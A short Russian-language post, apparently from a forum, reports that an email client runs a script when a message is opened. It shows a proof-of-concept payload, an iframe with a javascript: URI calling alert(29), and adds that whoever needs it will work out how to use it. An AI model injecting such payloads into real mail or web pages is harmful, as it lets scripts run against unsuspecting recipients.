При просмотре письма, в теле письма срабатывает следующий код:
<iframe src=javascript:alert(29)>
Думаю, что кому надо, то поймет как этим пользоваться.